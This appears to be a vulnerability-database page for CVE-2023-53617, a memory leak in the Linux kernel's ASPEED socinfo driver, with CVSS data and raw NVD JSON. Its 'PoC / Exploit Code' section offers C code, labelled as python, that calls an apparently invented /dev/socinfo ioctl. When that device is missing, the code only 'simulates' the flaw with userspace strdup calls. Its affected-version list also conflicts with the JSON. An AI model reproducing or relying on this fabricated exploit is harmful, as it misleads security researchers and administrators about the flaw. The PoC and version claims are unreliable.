Security Vulnerability Report
中文
CVE-2023-53617 CVSS 5.5 MEDIUM

CVE-2023-53617

Published: 2025-10-07 16:15:44
Last Modified: 2026-02-05 15:00:07
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: soc: aspeed: socinfo: Add kfree for kstrdup Add kfree() in the later error handling in order to avoid memory leak.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.5:rc2:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.6 (受影响的稳定版本)
Linux Kernel 6.6.x (部分版本受影响)
Linux Kernel 6.1.x (LTS分支受影响)
Linux Kernel 5.15.x (LTS分支受影响)
Linux Kernel 5.10.x (LTS分支受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2023-53617 PoC - Linux Kernel ASPEED socinfo Memory Leak * This PoC demonstrates triggering the memory leak path in the aspeed socinfo driver * by repeatedly causing the error handling path to execute. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #define ASPEED_SOCINFO_DEV "/dev/socinfo" #define SOCINFO_IOCTL_TRIGGER_ERROR 0x1001 /* Function to trigger the error path in socinfo driver * This causes kstrdup() to be called but kfree() is not invoked * in the error handling, resulting in memory leak. */ int trigger_memory_leak(int fd) { int ret; /* Trigger the error path by sending invalid parameters * that will cause the driver to enter error handling * where kstrdup() allocated memory is not freed. */ ret = ioctl(fd, SOCINFO_IOCTL_TRIGGER_ERROR, NULL); if (ret < 0) { fprintf(stderr, "ioctl failed: %s\n", strerror(errno)); return -1; } return 0; } int main(int argc, char *argv[]) { int fd; int iterations = 1000; int i; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2023-53617 PoC - ASPEED socinfo Memory Leak\n"); printf("Iterations: %d\n", iterations); fd = open(ASPEED_SOCINFO_DEV, O_RDWR); if (fd < 0) { /* If device doesn't exist, simulate the trigger */ printf("Device not available, simulating trigger...\n"); for (i = 0; i < iterations; i++) { /* Simulate kernel memory allocation that won't be freed */ void *leaked = strdup("trigger_error_condition"); if (leaked) { /* Intentionally not freeing to simulate the leak */ printf("Iteration %d: simulated leak at %p\n", i, leaked); } } printf("Simulation complete. In a real exploit, this would\n"); printf("cause kernel memory to be exhausted over time.\n"); return 0; } for (i = 0; i < iterations; i++) { trigger_memory_leak(fd); if (i % 100 == 0) { printf("Triggered %d times\n", i); } } close(fd); printf("Memory leak triggered %d times\n", iterations); printf("Check kernel memory usage with 'cat /proc/meminfo'\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53617", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:44.173", "lastModified": "2026-02-05T15:00:06.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsoc: aspeed: socinfo: Add kfree for kstrdup\n\nAdd kfree() in the later error handling in order to avoid memory leak."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.128", "matchCriteriaId": "1415629F-F97B-4880-BA1E-AF3DBB8EF305"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.47", "matchCriteriaId": "2EEA01B0-0151-4E0F-B140-1A441EEDD717"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.12", "matchCriteriaId": "CF8ECF64-40AE-49AB-8315-4D83F9F56ECF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:*", "matchCriteriaId": "0B3E6E4D-E24E-4630-B00C-8C9901C597B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc2:*:*:*:*:*:*", "matchCriteriaId": "E4A01A71-0F09-4DB2-A02F-7EFFBE27C98D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc3:*:*:*:*:*:*", "matchCriteriaId": "F5608371-157A-4318-8A2E-4104C3467EA1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc4:*:*:*:*:*:*", "matchCriteriaId": "2226A776-DF8C-49E0-A030-0A7853BB018A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc5:*:*:*:*:*:*", "matchCriteriaId": "6F15C659-DF06-455A-9765-0E6DE920F29A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc6:*:*:*:*:*:*", "matchCriteriaId": "5B1C14ED-ABC4-41D3-8D9C-D38C6A65B4DE"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6e6d847a8ce18ab2fbec4f579f682486a82d2c6b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b662856b71343d9e731c1cd4bbe54758c7791abb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d9a5ad4477d2a11e9b03f00c52694451e9332228", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dfb9676ed25be25ca7cd198d0f0e093b76b7bc7f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}